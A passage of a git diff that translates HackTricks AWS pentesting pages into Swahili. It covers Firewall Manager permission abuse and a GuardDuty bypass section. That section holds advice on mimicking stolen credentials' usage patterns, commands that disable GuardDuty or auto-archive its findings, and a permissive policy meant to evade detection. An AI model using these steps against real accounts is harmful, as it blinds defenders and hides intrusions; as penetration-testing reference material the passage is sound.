Organizations management account onboards an organization to Firewall Manager, it can create additional administrators with different administrative scopes. These scopes can include: +**Upeo wa usimamizi unafafanua rasilimali ambazo msimamizi wa Firewall Manager anaweza kusimamia**. Baada ya akaunti ya usimamizi ya AWS Organizations kuingiza shirika katika Firewall Manager, inaweza kuunda wasimamizi wengine wenye upeo tofauti wa usimamizi. Upeo huu unaweza kujumuisha: -- Accounts or organizational units (OUs) that the administrator can apply policies to. -- Regions where the administrator can perform actions. -- Firewall Manager policy types that the administrator can manage. +- Akaunti au vitengo vya shirika (OUs) ambavyo msimamizi anaweza kutekeleza sera. +- Mikoa ambapo msimamizi anaweza kufanya vitendo. +- Aina za sera za Firewall Manager ambazo msimamizi anaweza kusimamia. -Administrative scope can be either **full or restricted**. Full scope grants the administrator access to **all specified resource types, regions, and policy types**. In contrast, **restricted scope provides administrative permission to only a subset of resources, regions, or policy types**. It's advisable to grant administrators only the permissions they need to fulfill their roles effectively. You can apply any combination of these administrative scope conditions to an administrator, ensuring adherence to the principle of least privilege. +Upeo wa usimamizi unaweza kuwa **kamili au mdogo**. Upeo kamili unampa msimamizi ufikiaji wa **aina zote za rasilimali zilizofafanuliwa, mikoa, na aina za sera**. Kinyume chake, **upeo mdogo unatoa ruhusa ya usimamizi kwa sehemu tu ya rasilimali, mikoa, au aina za sera**. Ni vyema kuwapa wasimamizi ruhusa tu wanazohitaji ili kutimiza majukumu yao kwa ufanisi. Unaweza kutumia mchanganyiko wowote wa masharti haya ya upeo wa usimamizi kwa msimamizi, kuhakikisha kufuata kanuni ya ruhusa ndogo. -There are two distinct types of administrator accounts, each serving specific roles and responsibilities: +Kuna aina mbili tofauti za akaunti za wasimamizi, kila moja ikihudumia majukumu na wajibu maalum: -- **Default Administrator:** - - The default administrator account is created by the AWS Organizations organization's management account during the onboarding process to Firewall Manager. - - This account has the capability to manage third-party firewalls and possesses full administrative scope. - - It serves as the primary administrator account for Firewall Manager, responsible for configuring and enforcing security policies across the organization. - - While the default administrator has full access to all resource types and administrative functionalities, it operates at the same peer level as other administrators if multiple administrators are utilized within the organization. -- **Firewall Manager Administrators:** - - These administrators can manage resources within the scope designated by the AWS Organizations management account, as defined by the administrative scope configuration. - - Firewall Manager administrators are created to fulfill specific roles within the organization, allowing for delegation of responsibilities while maintaining security and compliance standards. - - Upon creation, Firewall Manager checks with AWS Organizations to determine if the account is already a delegated administrator. If not, Firewall Manager calls Organizations to designate the account as a delegated administrator for Firewall Manager. +- **Msimamizi wa Default:** +- Akaunti ya msimamizi wa default inaundwa na akaunti ya usimamizi ya shirika la AWS Organizations wakati wa mchakato wa kuingiza katika Firewall Manager. +- Akaunti hii ina uwezo wa kusimamia firewalls za wahusika wengine na ina upeo kamili wa usimamizi. +- Inatumika kama akaunti kuu ya msimamizi wa Firewall Manager, yenye jukumu la kufafanua na kutekeleza sera za usalama katika shirika. +- Ingawa msimamizi wa default ana ufikiaji kamili wa aina zote za rasilimali na kazi za usimamizi, inafanya kazi katika kiwango sawa na wasimamizi wengine ikiwa wasimamizi wengi wanatumika ndani ya shirika. +- **Wasimamizi wa Firewall Manager:** +- Wasimamizi hawa wanaweza kusimamia rasilimali ndani ya upeo ulioainishwa na akaunti ya usimamizi ya AWS Organizations, kama ilivyoainishwa na usanidi wa upeo wa usimamizi. +- Wasimamizi wa Firewall Manager wanaanzishwa kutimiza majukumu maalum ndani ya shirika, wakiruhusu ugawaji wa majukumu huku wakihifadhi viwango vya usalama na kufuata sheria. +- Mara baada ya kuundwa, Firewall Manager inakagua na AWS Organizations ili kubaini ikiwa akaunti tayari ni msimamizi aliyepewa. Ikiwa sivyo, Firewall Manager inaita Organizations ili kuainisha akaunti hiyo kama msimamizi aliyepewa kwa Firewall Manager. -Managing these administrator accounts involves creating them within Firewall Manager and defining their administrative scopes according to the organization's security requirements and the principle of least privilege. By assigning appropriate administrative roles, organizations can ensure effective security management while maintaining granular control over access to sensitive resources. +Kusimamia akaunti hizi za wasimamizi kunahusisha kuziunda ndani ya Firewall Manager na kufafanua upeo wao wa usimamizi kulingana na mahitaji ya usalama ya shirika na kanuni ya ruhusa ndogo. Kwa kupewa majukumu sahihi ya usimamizi, mashirika yanaweza kuhakikisha usimamizi bora wa usalama huku yakihifadhi udhibiti wa kina juu ya ufikiaji wa rasilimali nyeti. -It is important to highlight that **only one account within an organization can serve as the Firewall Manager default administrator**, adhering to the principle of "**first in, last out**". To designate a new default administrator, a series of steps must be followed: +Ni muhimu kusisitiza kwamba **akaunti moja tu ndani ya shirika inaweza kutumikia kama msimamizi wa default wa Firewall Manager**, ikifuata kanuni ya "**wa kwanza kuingia, wa mwisho kutoka**". Ili kuainisha msimamizi mpya wa default, mfululizo wa hatua lazima uzingatiwe: -- First, each Firewall Administrator administrator account must revoke their own account. -- Then, the existing default administrator can revoke their own account, effectively offboarding the organization from Firewall Manager. This process results in the deletion of all Firewall Manager policies created by the revoked account. -- To conclude, the AWS Organizations management account must designate the Firewall Manager dafault administrator. +- Kwanza, kila akaunti ya msimamizi wa Firewall Administrator lazima ifute akaunti yao wenyewe. +- Kisha, msimamizi wa default aliyepo anaweza kufuta akaunti yao wenyewe, kwa ufanisi ikiondoa shirika kutoka Firewall Manager. Mchakato huu unapelekea kufutwa kwa sera zote za Firewall Manager zilizoundwa na akaunti iliyofutwa. +- Ili kumaliza, akaunti ya usimamizi ya AWS Organizations lazima iainishe msimamizi wa default wa Firewall Manager. ## Enumeration - ``` # Users/Administrators @@ -162,66 +161,58 @@ aws fms get-third-party-firewall-association-status --third-party-firewall --member-account --resource-id --resource-type ``` - ## Post Exploitation / Bypass Detection ### `organizations:DescribeOrganization` & (`fms:AssociateAdminAccount`, `fms:DisassociateAdminAccount`, `fms:PutAdminAccount`) -An attacker with the **`fms:AssociateAdminAccount`** permission would be able to set the Firewall Manager default administrator account. With the **`fms:PutAdminAccount`** permission, an attacker would be able to create or updatea Firewall Manager administrator account and with the **`fms:DisassociateAdminAccount`** permission, a potential attacker could remove the current Firewall Manager administrator account association. - -- The disassociation of the **Firewall Manager default administrator follows the first-in-last-out policy**. All the Firewall Manager administrators must disassociate before the Firewall Manager default administrator can disassociate the account. -- In order to create a Firewall Manager administrator by **PutAdminAccount**, the account must belong to the organization that was previously onboarded to Firewall Manager using **AssociateAdminAccount**. -- The creation of a Firewall Manager administrator account can only be done by the organization's management account. +Mshambuliaji mwenye ruhusa ya **`fms:AssociateAdminAccount`** angeweza kuweka akaunti ya msimamizi wa Firewall Manager ya default. Kwa ruhusa ya **`fms:PutAdminAccount`**, mshambuliaji angeweza kuunda au kusasisha akaunti ya msimamizi wa Firewall Manager na kwa ruhusa ya **`fms:DisassociateAdminAccount`**, mshambuliaji mwenye uwezo anaweza kuondoa ushirikiano wa akaunti ya sasa ya msimamizi wa Firewall Manager. +- Kuondolewa kwa ushirikiano wa **msimamizi wa Firewall Manager wa default kunafuata sera ya kwanza ndani, ya mwisho nje**. Wote wa wasimamizi wa Firewall Manager lazima waondoe ushirikiano kabla ya msimamizi wa Firewall Manager wa default kuweza kuondoa akaunti. +- Ili kuunda msimamizi wa Firewall Manager kwa **PutAdminAccount**, akaunti lazima iwe ya shirika ambalo lilikuwa limeanzishwa awali kwa Firewall Manager kwa kutumia **AssociateAdminAccount**. +- Uundaji wa akaunti ya msimamizi wa Firewall Manager unaweza kufanywa tu na akaunti ya usimamizi wa shirika. ```bash aws fms associate-admin-account --admin-account aws fms disassociate-admin-account aws fms put-admin-account --admin-account ``` - -**Potential Impact:** Loss of centralized management, policy evasion, compliance violations, and disruption of security controls within the environment. +**Madhara Yanayoweza Kutokea:** Kupoteza usimamizi wa kati, kukwepa sera, ukiukaji wa utii, na kuingiliwa kwa udhibiti wa usalama ndani ya mazingira. ### `fms:PutPolicy`, `fms:DeletePolicy` -An attacker with the **`fms:PutPolicy`**, **`fms:DeletePolicy`** permissions would be able to create, modify or permanently delete an AWS Firewall Manager policy. - +Mshambuliaji mwenye ruhusa za **`fms:PutPolicy`**, **`fms:DeletePolicy`** angeweza kuunda, kubadilisha au kufuta kabisa sera ya AWS Firewall Manager. ```bash aws fms put-policy --policy | --cli-input-json file:// [--tag-list ] aws fms delete-policy --policy-id [--delete-all-policy-resources | --no-delete-all-policy-resources] ``` - -An example of permisive policy through permisive security group, in order to bypass the detection, could be the following one: - +Mfano wa sera ya ruhusa kupitia kikundi cha usalama cha ruhusa, ili kupita ugunduzi, unaweza kuwa kama ifuatavyo: ```json { - "Policy": { - "PolicyName": "permisive_policy", - "SecurityServicePolicyData": { - "Type": "SECURITY_GROUPS_COMMON", - "ManagedServiceData": "{\"type\":\"SECURITY_GROUPS_COMMON\",\"securityGroups\":[{\"id\":\"\"}], \"applyToAllEC2InstanceENIs\":\"true\",\"IncludeSharedVPC\":\"true\"}" - }, - "ResourceTypeList": [ - "AWS::EC2::Instance", - "AWS::EC2::NetworkInterface", - "AWS::EC2::SecurityGroup", - "AWS::ElasticLoadBalancingV2::LoadBalancer", - "AWS::ElasticLoadBalancing::LoadBalancer" - ], - "ResourceType": "AWS::EC2::SecurityGroup", - "ExcludeResourceTags": false, - "ResourceTags": [], - "RemediationEnabled": true - }, - "TagList": [] +"Policy": { +"PolicyName": "permisive_policy", +"SecurityServicePolicyData": { +"Type": "SECURITY_GROUPS_COMMON", +"ManagedServiceData": "{\"type\":\"SECURITY_GROUPS_COMMON\",\"securityGroups\":[{\"id\":\"\"}], \"applyToAllEC2InstanceENIs\":\"true\",\"IncludeSharedVPC\":\"true\"}" +}, +"ResourceTypeList": [ +"AWS::EC2::Instance", +"AWS::EC2::NetworkInterface", +"AWS::EC2::SecurityGroup", +"AWS::ElasticLoadBalancingV2::LoadBalancer", +"AWS::ElasticLoadBalancing::LoadBalancer" +], +"ResourceType": "AWS::EC2::SecurityGroup", +"ExcludeResourceTags": false, +"ResourceTags": [], +"RemediationEnabled": true +}, +"TagList": [] } ``` - -**Potential Impact:** Dismantling of security controls, policy evasion, compliance violations, operational disruptions, and potential data breaches within the environment. +**Madhara Yanayoweza Kutokea:** Kuondolewa kwa udhibiti wa usalama, kukwepa sera, ukiukaji wa uzingativu, usumbufu wa operesheni, na uvunjaji wa data unaoweza kutokea ndani ya mazingira. ### `fms:BatchAssociateResource`, `fms:BatchDisassociateResource`, `fms:PutResourceSet`, `fms:DeleteResourceSet` -An attacker with the **`fms:BatchAssociateResource`** and **`fms:BatchDisassociateResource`** permissions would be able to associate or disassociate resources from a Firewall Manager resource set respectively. In addition, the **`fms:PutResourceSet`** and **`fms:DeleteResourceSet`** permissions would allow an attacker to create, modify or delete these resource sets from AWS Firewall Manager. - +Mshambuliaji mwenye ruhusa za **`fms:BatchAssociateResource`** na **`fms:BatchDisassociateResource`** angeweza kuunganisha au kuondoa rasilimali kutoka kwa seti ya rasilimali ya Firewall Manager mtawalia. Aidha, ruhusa za **`fms:PutResourceSet`** na **`fms:DeleteResourceSet`** zingemwezesha mshambuliaji kuunda, kubadilisha au kufuta seti hizi za rasilimali kutoka AWS Firewall Manager. ```bash # Associate/Disassociate resources from a resource set aws fms batch-associate-resource --resource-set-identifier --items @@ -231,83 +222,68 @@ aws fms batch-disassociate-resource --resource-set-identifier --items [--tag-list ] aws fms delete-resource-set --identifier ``` - -**Potential Impact:** The addition of an unnecessary amount of items to a resource set will increase the level of noise in the Service potentially causing a DoS. In addition, changes of the resource sets could lead to a resource disruption, policy evasion, compliance violations, and disruption of security controls within the environment. +**Madhara Yanayoweza Kutokea:** Kuongeza idadi isiyo ya lazima ya vitu kwenye seti ya rasilimali kutainua kiwango cha kelele katika Huduma na huenda kukasababisha DoS. Aidha, mabadiliko ya seti za rasilimali yanaweza kusababisha usumbufu wa rasilimali, kukwepa sera, ukiukaji wa taratibu, na usumbufu wa udhibiti wa usalama ndani ya mazingira. ### `fms:PutAppsList`, `fms:DeleteAppsList` -An attacker with the **`fms:PutAppsList`** and **`fms:DeleteAppsList`** permissions would be able to create, modify or delete application lists from AWS Firewall Manager. This could be critical, as unauthorized applications could be allowed access to the general public, or access to authorized applications could be denied, causing a DoS. - +Mshambuliaji mwenye ruhusa **`fms:PutAppsList`** na **`fms:DeleteAppsList`** angeweza kuunda, kubadilisha au kufuta orodha za programu kutoka AWS Firewall Manager. Hii inaweza kuwa muhimu, kwani programu zisizoidhinishwa zinaweza kuruhusiwa kupata ufikiaji kwa umma kwa ujumla, au ufikiaji wa programu zilizoidhinishwa unaweza kukataliwa, na kusababisha DoS. ```bash aws fms put-apps-list --apps-list [--tag-list ] aws fms delete-apps-list --list-id ``` - -**Potential Impact:** This could result in misconfigurations, policy evasion, compliance violations, and disruption of security controls within the environment. +**Madhara Yanayoweza Kutokea:** Hii inaweza kusababisha mipangilio isiyo sahihi, kukwepa sera, ukiukaji wa uzingatiaji, na kuvurugika kwa udhibiti wa usalama ndani ya mazingira. ### `fms:PutProtocolsList`, `fms:DeleteProtocolsList` -An attacker with the **`fms:PutProtocolsList`** and **`fms:DeleteProtocolsList`** permissions would be able to create, modify or delete protocols lists from AWS Firewall Manager. Similarly as with applications lists, this could be critical since unauthorized protocols could be used by the general public, or the use of authorized protocols could be denied, causing a DoS. - +Mshambuliaji mwenye ruhusa za **`fms:PutProtocolsList`** na **`fms:DeleteProtocolsList`** angeweza kuunda, kubadilisha au kufuta orodha za protokali kutoka AWS Firewall Manager. Vivyo hivyo na orodha za programu, hii inaweza kuwa muhimu kwani protokali zisizoidhinishwa zinaweza kutumika na umma kwa ujumla, au matumizi ya protokali zilizoidhinishwa yanaweza kukataliwa, na kusababisha DoS. ```bash aws fms put-protocols-list --apps-list [--tag-list ] aws fms delete-protocols-list --list-id ``` - -**Potential Impact:** This could result in misconfigurations, policy evasion, compliance violations, and disruption of security controls within the environment. +**Madhara Yanayoweza Kutokea:** Hii inaweza kusababisha mipangilio isiyo sahihi, kukwepa sera, ukiukaji wa taratibu, na kuvurugika kwa udhibiti wa usalama ndani ya mazingira. ### `fms:PutNotificationChannel`, `fms:DeleteNotificationChannel` -An attacker with the **`fms:PutNotificationChannel`** and **`fms:DeleteNotificationChannel`** permissions would be able to delete and designate the IAM role and Amazon Simple Notification Service (SNS) topic that Firewall Manager uses to record SNS logs. +Mshambuliaji mwenye ruhusa za **`fms:PutNotificationChannel`** na **`fms:DeleteNotificationChannel`** angeweza kufuta na kuamua jukumu la IAM na mada ya Amazon Simple Notification Service (SNS) ambayo Firewall Manager inatumia kurekodi kumbukumbu za SNS. -To use **`fms:PutNotificationChannel`** outside of the console, you need to set up the SNS topic's access policy, allowing the specified **SnsRoleName** to publish SNS logs. If the provided **SnsRoleName** is a role other than the **`AWSServiceRoleForFMS`**, it requires a trust relationship configured to permit the Firewall Manager service principal **fms.amazonaws.com** to assume this role. +Ili kutumia **`fms:PutNotificationChannel`** nje ya console, unahitaji kuweka sera ya ufikiaji ya mada ya SNS, ikiruhusu **SnsRoleName** iliyotolewa kuchapisha kumbukumbu za SNS. Ikiwa **SnsRoleName** iliyotolewa ni jukumu tofauti na **`AWSServiceRoleForFMS`**, inahitaji uhusiano wa kuaminiana uliowekwa ili kuruhusu huduma ya Firewall Manager **fms.amazonaws.com** kuchukua jukumu hili. -For information about configuring an SNS access policy: +Kwa maelezo kuhusu kuweka sera ya ufikiaji ya SNS: {{#ref}} ../aws-sns-enum.md {{#endref}} - ```bash aws fms put-notification-channel --sns-topic-arn --sns-role-name aws fms delete-notification-channel ``` - -**Potential Impact:** This would potentially lead to miss security alerts, delayed incident response, potential data breaches and operational disruptions within the environment. +**Madhara Yanayoweza Kutokea:** Hii inaweza kusababisha kukosa tahadhari za usalama, kuchelewesha majibu ya matukio, uvunjaji wa data unaoweza kutokea na usumbufu wa operesheni ndani ya mazingira. ### `fms:AssociateThirdPartyFirewall`, `fms:DisssociateThirdPartyFirewall` -An attacker with the **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** permissions would be able to associate or disassociate third-party firewalls from being managed centrally through AWS Firewall Manager. +Mshambuliaji mwenye ruhusa za **`fms:AssociateThirdPartyFirewall`**, **`fms:DisssociateThirdPartyFirewall`** angeweza kuunganisha au kuondoa firewalls za upande wa tatu kutoka kusimamiwa kwa kati kupitia AWS Firewall Manager. > [!WARNING] -> Only the default administrator can create and manage third-party firewalls. - +> Ni msimamizi wa default pekee ndiye anaweza kuunda na kusimamia firewalls za upande wa tatu. ```bash aws fms associate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL] aws fms disassociate-third-party-firewall --third-party-firewall [PALO_ALTO_NETWORKS_CLOUD_NGFW | FORTIGATE_CLOUD_NATIVE_FIREWALL] ``` - -**Potential Impact:** The disassociation would lead to a policy evasion, compliance violations, and disruption of security controls within the environment. The association on the other hand would lead to a disruption of cost and budget allocation. +**Madhara Yanayoweza Kutokea:** Kutenganishwa kutasababisha kukwepa sera, ukiukaji wa uzingativu, na kuvurugika kwa udhibiti wa usalama ndani ya mazingira. Uhusiano kwa upande mwingine utasababisha kuvurugika kwa mgawanyiko wa gharama na bajeti. ### `fms:TagResource`, `fms:UntagResource` -An attacker would be able to add, modify, or remove tags from Firewall Manager resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +Mshambuliaji angeweza kuongeza, kubadilisha, au kuondoa lebo kutoka kwa rasilimali za Firewall Manager, akivuruga mgawanyiko wa gharama wa shirika lako, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji kulingana na lebo. ```bash aws fms tag-resource --resource-arn --tag-list aws fms untag-resource --resource-arn --tag-keys ``` +**Madhara Yanayoweza Kutokea**: Kuingiliwa kwa ugawaji wa gharama, ufuatiliaji wa rasilimali, na sera za udhibiti wa ufikiaji kulingana na lebo. -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. - -## References +## Marejeleo - [https://docs.aws.amazon.com/govcloud-us/latest/UserGuide/govcloud-fms.html](https://docs.aws.amazon.com/govcloud-us/latest/UserGuide/govcloud-fms.html) - [https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsfirewallmanager.html](https://docs.aws.amazon.com/service-authorization/latest/reference/list_awsfirewallmanager.html) - [https://docs.aws.amazon.com/waf/latest/developerguide/fms-chapter.html](https://docs.aws.amazon.com/waf/latest/developerguide/fms-chapter.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md index 2794852d3..aa776dec1 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-guardduty-enum.md @@ -4,64 +4,63 @@ ## GuardDuty -According to the [**docs**](https://aws.amazon.com/guardduty/features/): GuardDuty combines **machine learning, anomaly detection, network monitoring, and malicious file discovery**, using both AWS and industry-leading third-party sources to help protect workloads and data on AWS. GuardDuty is capable of analysing tens of billions of events across multiple AWS data sources, such as AWS CloudTrail event logs, Amazon Virtual Private Cloud (VPC) Flow Logs, Amazon Elastic Kubernetes Service (EKS) audit and system-level logs, and DNS query logs. +Kulingana na [**docs**](https://aws.amazon.com/guardduty/features/): GuardDuty inachanganya **ujifunzaji wa mashine, ugunduzi wa anomali, ufuatiliaji wa mtandao, na ugunduzi wa faili zenye uharibifu**, ikitumia vyanzo vya AWS na vya tatu vinavyoongoza katika tasnia kusaidia kulinda kazi na data kwenye AWS. GuardDuty ina uwezo wa kuchambua mabilioni ya matukio kutoka kwa vyanzo vingi vya data vya AWS, kama vile kumbukumbu za matukio ya AWS CloudTrail, Kumbukumbu za Mtiririko wa Amazon Virtual Private Cloud (VPC), kumbukumbu za ukaguzi na za mfumo wa Amazon Elastic Kubernetes Service (EKS), na kumbukumbu za maswali ya DNS. -Amazon GuardDuty **identifies unusual activity within your accounts**, analyses the **security relevanc**e of the activity, and gives the **context** in which it was invoked. This allows a responder to determine if they should spend time on further investigation. +Amazon GuardDuty **inatambua shughuli zisizo za kawaida ndani ya akaunti zako**, inachambua **umuhimu wa usalama** wa shughuli hiyo, na inatoa **muktadha** ambao ilitolewa. Hii inaruhusu mrespondaji kuamua ikiwa wanapaswa kutumia muda katika uchunguzi zaidi. -Alerts **appear in the GuardDuty console (90 days)** and CloudWatch Events. +Alerts **zinaonekana kwenye console ya GuardDuty (siku 90)** na Matukio ya CloudWatch. > [!WARNING] -> When a user **disable GuardDuty**, it will stop monitoring your AWS environment and it won't generate any new findings at all, and the **existing findings will be lost**.\ -> If you just stop it, the existing findings will remain. +> Wakati mtumiaji **anapozuia GuardDuty**, itasimamisha ufuatiliaji wa mazingira yako ya AWS na haitazalisha matokeo mapya kabisa, na **matokeo yaliyopo yatapotea**.\ +> Ikiwa unaisimamisha tu, matokeo yaliyopo yatabaki. -### Findings Example +### Mfano wa Matokeo -- **Reconnaissance**: Activity suggesting reconnaissance by an attacker, such as **unusual API activity**, suspicious database **login** attempts, intra-VPC **port scanning**, unusual failed login request patterns, or unblocked port probing from a known bad IP. -- **Instance compromise**: Activity indicating an instance compromise, such as **cryptocurrency mining, backdoor command and control (C\&C)** activity, malware using domain generation algorithms (DGA), outbound denial of service activity, unusually **high network** traffic volume, unusual network protocols, outbound instance communication with a known malicious IP, temporary Amazon EC2 credentials used by an external IP address, and data exfiltration using DNS. -- **Account compromise**: Common patterns indicative of account compromise include API calls from an unusual geolocation or anonymizing proxy, attempts to disable AWS CloudTrail logging, changes that weaken the account password policy, unusual instance or infrastructure launches, infrastructure deployments in an unusual region, credential theft, suspicious database login activity, and API calls from known malicious IP addresses. -- **Bucket compromise**: Activity indicating a bucket compromise, such as suspicious data access patterns indicating credential misuse, unusual Amazon S3 API activity from a remote host, unauthorized S3 access from known malicious IP addresses, and API calls to retrieve data in S3 buckets from a user with no prior history of accessing the bucket or invoked from an unusual location. Amazon GuardDuty continuously monitors and analyzes AWS CloudTrail S3 data events (e.g. GetObject, ListObjects, DeleteObject) to detect suspicious activity across all of your Amazon S3 buckets. +- **Upelelezi**: Shughuli inayopendekeza upelelezi na mshambuliaji, kama vile **shughuli zisizo za kawaida za API**, majaribio ya **kuingia** kwenye hifadhidata, **skanning** ya bandari ndani ya VPC, mifumo ya maombi ya kuingia yaliyoshindwa isiyo ya kawaida, au uchunguzi wa bandari usiozuiliwa kutoka kwa IP mbaya inayojulikana. +- **Ushikaji wa mfano**: Shughuli inayonyesha ushikaji wa mfano, kama vile **uchimbaji wa sarafu, shughuli za amri na udhibiti wa nyuma (C\&C)**, malware inayotumia algorithimu za kizazi cha kikoa (DGA), shughuli za kukataa huduma za nje, kiasi cha **trafiki ya mtandao** isiyo ya kawaida, protokali za mtandao zisizo za kawaida, mawasiliano ya mfano wa nje na IP mbaya inayojulikana, akreditif za muda za Amazon EC2 zinazotumiwa na anwani ya IP ya nje, na uhamasishaji wa data kwa kutumia DNS. +- **Ushikaji wa akaunti**: Mifumo ya kawaida inayonyesha ushikaji wa akaunti ni pamoja na simu za API kutoka eneo la kijiografia lisilo la kawaida au proxy ya kuficha, majaribio ya kuzima kumbukumbu za AWS CloudTrail, mabadiliko yanayopunguza sera ya nywila ya akaunti, uzinduzi wa mfano au miundombinu isiyo ya kawaida, uanzishaji wa miundombinu katika eneo lisilo la kawaida, wizi wa akreditif, shughuli za kuingia kwenye hifadhidata zisizo za kawaida, na simu za API kutoka kwa anwani za IP mbaya zinazojulikana. +- **Ushikaji wa ndoo**: Shughuli inayonyesha ushikaji wa ndoo, kama vile mifumo ya ufikiaji wa data inayoshuku inayonyesha matumizi mabaya ya akreditif, shughuli zisizo za kawaida za Amazon S3 API kutoka kwa mwenyeji wa mbali, ufikiaji usioidhinishwa wa S3 kutoka kwa anwani za IP mbaya zinazojulikana, na simu za API za kupata data katika ndoo za S3 kutoka kwa mtumiaji ambaye hana historia ya awali ya kufikia ndoo hiyo au aliyeanzishwa kutoka eneo lisilo la kawaida. Amazon GuardDuty inaendelea kufuatilia na kuchambua matukio ya data ya AWS CloudTrail S3 (mfano: GetObject, ListObjects, DeleteObject) ili kugundua shughuli zinazoshuku katika ndoo zako zote za Amazon S3.
-Finding Information +Habari za Matokeo -Finding summary: +Muhtasari wa matokeo: -- Finding type -- Severity: 7-8.9 High, 4-6.9 Medium, 01-3.9 Low -- Region -- Account ID -- Resource ID -- Time of detection -- Which threat list was used +- Aina ya matokeo +- Ukali: 7-8.9 Juu, 4-6.9 Kati, 01-3.9 Chini +- Eneo +- Kitambulisho cha Akaunti +- Kitambulisho cha Rasilimali +- Wakati wa kugundua +- Ni orodha ipi ya vitisho iliyotumika -The body has this information: +Mwili una habari hii: -- Resource affected -- Action -- Actor: Ip address, port and domain -- Additional Information +- Rasilimali iliyoathiriwa +- Hatua +- Mchezaji: Anwani ya IP, bandari na kikoa +- Habari za ziada
-### All Findings +### Matokeo Yote -Access a list of all the GuardDuty findings in: [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) +Fikia orodha ya matokeo yote ya GuardDuty katika: [https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_finding-types-active.html) -### Multi Accounts +### Akaunti Nyingi -#### By Invitation +#### Kwa Mwaliko -You can **invite other accounts** to a different AWS GuardDuty account so **every account is monitored from the same GuardDuty**. The master account must invite the member accounts and then the representative of the member account must accept the invitation. +Unaweza **kualika akaunti nyingine** kwenye akaunti tofauti ya AWS GuardDuty ili **akaunti zote zifuatiliwe kutoka GuardDuty moja**. Akaunti ya mkuu lazima iwalike akaunti za wanachama na kisha mwakilishi wa akaunti ya mwanachama lazima akubali mwaliko. -#### Via Organization +#### Kupitia Shirika -You can designate any account within the organization to be the **GuardDuty delegated administrator**. Only the organization management account can designate a delegated administrator. +Unaweza kuteua akaunti yoyote ndani ya shirika kuwa **msimamizi wa GuardDuty aliyepewa**. Ni akaunti ya usimamizi wa shirika pekee inayoweza kuteua msimamizi aliyepewa. -An account that gets designated as a delegated administrator becomes a GuardDuty administrator account, has GuardDuty enabled automatically in the designated AWS Region, and also has the **permission to enable and manage GuardDuty for all of the accounts in the organization within that Region**. The other accounts in the organization can be viewed and added as GuardDuty member accounts associated with this delegated administrator account. +Akaunti inayoteuliwa kama msimamizi aliyepewa inakuwa akaunti ya msimamizi wa GuardDuty, ina GuardDuty iliyoanzishwa kiotomatiki katika Eneo lililotengwa la AWS, na pia ina **idhini ya kuanzisha na kusimamia GuardDuty kwa akaunti zote ndani ya shirika katika eneo hilo**. Akaunti nyingine ndani ya shirika zinaweza kuonekana na kuongezwa kama akaunti za wanachama wa GuardDuty zinazohusishwa na akaunti hii ya msimamizi aliyepewa. ## Enumeration - ```bash # Get Org config aws guardduty list-organization-admin-accounts #Get Delegated Administrator @@ -101,85 +100,76 @@ aws guardduty list-publishing-destinations --detector-id aws guardduty list-threat-intel-sets --detector-id aws guardduty get-threat-intel-set --detector-id --threat-intel-set-id ``` - ## GuardDuty Bypass ### General Guidance -Try to find out as much as possible about the behaviour of the credentials you are going to use: +Jaribu kujua kadri ya uwezo kuhusu tabia ya ithibati unayotaka kutumia: -- Times it's used -- Locations -- User Agents / Services (It could be used from awscli, webconsole, lambda...) -- Permissions regularly used +- Nyakati inapotumika +- Mikoa +- Wakala wa Mtumiaji / Huduma (Inaweza kutumika kutoka awscli, webconsole, lambda...) +- Ruhusa zinazotumika mara kwa mara -With this information, recreate as much as possible the same scenario to use the access: +Kwa habari hii, tengeneza tena kadri ya uwezo hali hiyo ili kutumia ufikiaji: -- If it's a **user or a role accessed by a user**, try to use it in the same hours, from the same geolocation (even the same ISP and IP if possible) -- If it's a **role used by a service**, create the same service in the same region and use it from there in the same time ranges -- Always try to use the **same permissions** this principal has used -- If you need to **use other permissions or abuse a permission** (for example, download 1.000.000 cloudtrail log files) do it **slowly** and with the **minimum amount of interactions** with AWS (awscli sometime call several read APIs before the write one) +- Ikiwa ni **mtumiaji au jukumu linalofikiwa na mtumiaji**, jaribu kulitumika katika masaa sawa, kutoka eneo moja la kijiografia (hata ISP na IP sawa ikiwa inawezekana) +- Ikiwa ni **jukumu linalotumika na huduma**, tengeneza huduma hiyo hiyo katika eneo moja na uitumie kutoka hapo katika muda sawa +- Daima jaribu kutumia **ruhusa sawa** ambazo kiongozi huyu amezitumia +- Ikiwa unahitaji **kutumia ruhusa nyingine au kutumia ruhusa** (kwa mfano, kupakua faili 1.000.000 za cloudtrail log) fanya hivyo **polepole** na kwa **idadi ndogo ya mwingiliano** na AWS (awscli wakati mwingine inaita APIs kadhaa za kusoma kabla ya ile ya kuandika) ### Breaking GuardDuty #### `guardduty:UpdateDetector` -With this permission you could disable GuardDuty to avoid triggering alerts. - +Kwa ruhusa hii unaweza kuzima GuardDuty ili kuepuka kuanzisha arifa. ```bash aws guardduty update-detector --detector-id --no-enable aws guardduty update-detector --detector-id --data-sources S3Logs={Enable=false} ``` - #### `guardduty:CreateFilter` -Attackers with this permission have the capability to **employ filters for the automatic** archiving of findings: - +Washambuliaji wenye ruhusa hii wana uwezo wa **kutumia vichujio kwa ajili ya** kuhifadhi matokeo kiotomatiki: ```bash aws guardduty create-filter --detector-id --name --finding-criteria file:///tmp/criteria.json --action ARCHIVE ``` - #### `iam:PutRolePolicy`, (`guardduty:CreateIPSet`|`guardduty:UpdateIPSet`) -Attackers with the previous privileges could modify GuardDuty's [**Trusted IP list**](https://docs.aws.amazon.com/guardduty/latest/ug/guardduty_upload-lists.html) 